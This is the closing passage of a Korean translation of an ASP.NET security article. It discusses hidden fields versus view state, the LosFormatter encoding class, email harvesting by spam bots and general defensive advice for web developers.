그림 2에 표시된 것처럼 보기 상태에는 변조를 검색하기 위한 각 요청에서 검사되는 해시 값이 추가됩니다. 몇 가지 경우를 제외하고 ASP.NET 숨겨진 필드를 사용할 이유가 없습니다. 보기 상태는 훨씬 더 안전한 방식으로 동일하게 수행합니다. 가격이나 신용 카드 세부 정보와 같은 중요한 값을 명확한 숨겨진 필드에 저장하는 것은 해커에게 문을 열어 두는 것과 같다고 미리 말했습니다. 그러나 보기 상태는 변조를 방지하지만 암호화하지 않는 한 기밀성을 보장하지 않으므로 보기 상태에 저장된 크레딧 카드 세부 정보는 위험합니다.

ASP.NET 숨겨진 필드를 사용할 수 있는 시기는 언제인가요? 데이터를 서버로 다시 보내야 하는 사용자 지정 컨트롤을 빌드하는 경우 예를 들어 열 다시 정렬을 지원하는 새 DataGrid 컨트롤을 만들면 됩니다. 포스트백 시 서버에 새 주문을 다시 전달해야 합니다. 숨겨진 필드에 저장하지 않을 경우 이 정보를 저장할 수 있는 다른 위치는 어디인가요?

숨겨진 필드가 읽기/쓰기 필드인 경우( 즉, 클라이언트가 해당 필드에 쓸 것으로 예상됨) 해커 방지를 수행할 수 있는 작업이 많지 않습니다. 텍스트를 해시하거나 암호화할 수 있지만 해킹되지 않는다는 합리적인 확신을 주지는 못합니다. 여기서 가장 좋은 방어 방법은 숨겨진 필드에 불활성 및 무해한 정보가 포함되도록 하는 것입니다.

즉, ASP.NET 직렬화된 개체를 인코딩하고 해시하는 데 사용할 수 있는 알려진 클래스를 노출한다는 점에 유의해야 합니다. 클래스는 LosFormatter 이며 ViewState 구현에서 클라이언트로 라운드트립된 인코딩된 텍스트를 만드는 데 사용하는 클래스와 동일합니다.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

위의 코드 조각은 LosFormatter 를 사용하여 인코딩 및 해시된 상태와 유사한 보기 콘텐츠를 만드는 방법을 보여 주는 코드 조각입니다.

전자 메일 및 스팸

이 문서를 끝내기 위해 가장 일반적인 두 가지 공격(클래식 XSS 및 원클릭)은 종종 의심하지 않는 피해자가 매혹적인 링크와 스푸핑된 링크를 클릭하도록 유도하여 수행된다는 점을 지적하겠습니다. 여러 번 이러한 링크는 받은 편지함, 스팸 방지 필터에서도 직접 찾을 수 있습니다. 전자 메일 주소의 볼륨은 몇 달러에 구입할 수 있습니다. 이러한 목록을 작성하는 데 사용되는 기본 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 항목을 찾고 잡는 것입니다.

페이지에 전자 메일 주소가 표시되면 웹 로봇에 의해 조만간 잡힐 가능성이 높습니다. 기억나세요? 글쎄, 그것은 많은 당신이 전자 메일 주소를 표시하는 방법에 따라 달라집니다. 하드 코딩하면 손실됩니다. dino-at-microsoft-dot-com과 같은 대체 표현에 의존하는 경우 웹 로봇을 실제로 속이는 것은 분명하지 않습니다. 확실히, 당신은 합법적 인 연락처를 설정하고자하는 페이지를 읽는 사람을 자극합니다.

전반적으로 메일 주소를 mailto 링크로 동적으로 생성하는 방법을 알아내야 합니다. 이것이 바로 마르코 벨리나소가 작성한 무료 구성 요소입니다. DotNet2TheMax 웹 사이트에서 전체 소스 코드를 사용하여 가져올 수 있습니다.

요약

웹이 모든 런타임 환경에서 가장 적대적이라고 의심하는 사람이 있나요? 모두가 웹 사이트에 액세스하고 좋은 나쁜 데이터를 전달하려고 할 수 있다는 사실에서 비롯됩니다. 그러나 사용자 입력을 허용하지 않는 웹 애플리케이션을 만드는 것이 정말 합리적일까요?

따라서 방화벽이 얼마나 강력한지, 사용 가능한 패치를 얼마나 자주 적용하든, 본질적으로 취약한 웹 애플리케이션을 실행하는 경우, 조만간 공격자는 기본 입구, 즉 포트 80을 통해 시스템의 중심부로 곧장 걸어갑니다.

ASP.NET 애플리케이션은 다른 웹 애플리케이션보다 더 취약하거나 안전하지 않습니다. 보안 및 취약성은 모두 코딩 사례, 현장 경험 및 팀워크에서 파생됩니다. 네트워크가 안전하지 않으면 애플리케이션이 안전하지 않습니다. 마찬가지로, 네트워크가 얼마나 안전하고 잘 관리되든, 애플리케이션이 끊어지면 공격자는 항상 길을 찾습니다.

ASP.NET 아름다움은 몇 번의 클릭으로 보안 표시줄을 통과 가능한 수준으로 높이는 몇 가지 좋은 도구를 제공한다는 것입니다. 그것은 충분 한 수준 , 하지만. ASP.NET 기본 제공 솔루션에만 의존하지 말고 무시해서는 안 됩니다. 그리고 가장 일반적인 공격에 대해 가능한 한 많이 알아봅니다.

이 문서에서는 기본 제공 기능의 주석이 추가된 목록과 공격 및 방어에 대한 몇 가지 배경을 제공합니다. 진행 중인 공격을 감지하는 기술은 또 다른 이야기이며 다른 문서가 필요할 수 있습니다.

마이클 하워드와 데이비드 르블랑의 보안 코드 작성

TechNet 매거진, 웹에서 도난: 세션 하이재킹 방지

작성자 정보

디노 에스포지토는 이탈리아에 본사를 둔 Wintellect 강사이자 컨설턴트입니다. Microsoft ASP.NET 프로그래밍의 저자이자 최근 Microsoft ASP.NET 2.0 소개(Microsoft Press 모두)의 저자인 그는 대부분의 시간을 ASP.NET 및 ADO.NET 강의를 가르치고 컨퍼런스에서 연설합니다. 에서 디노의 블로그를 둘러보세요 https://weblogs.asp.net/despos.

다음을 통해 공유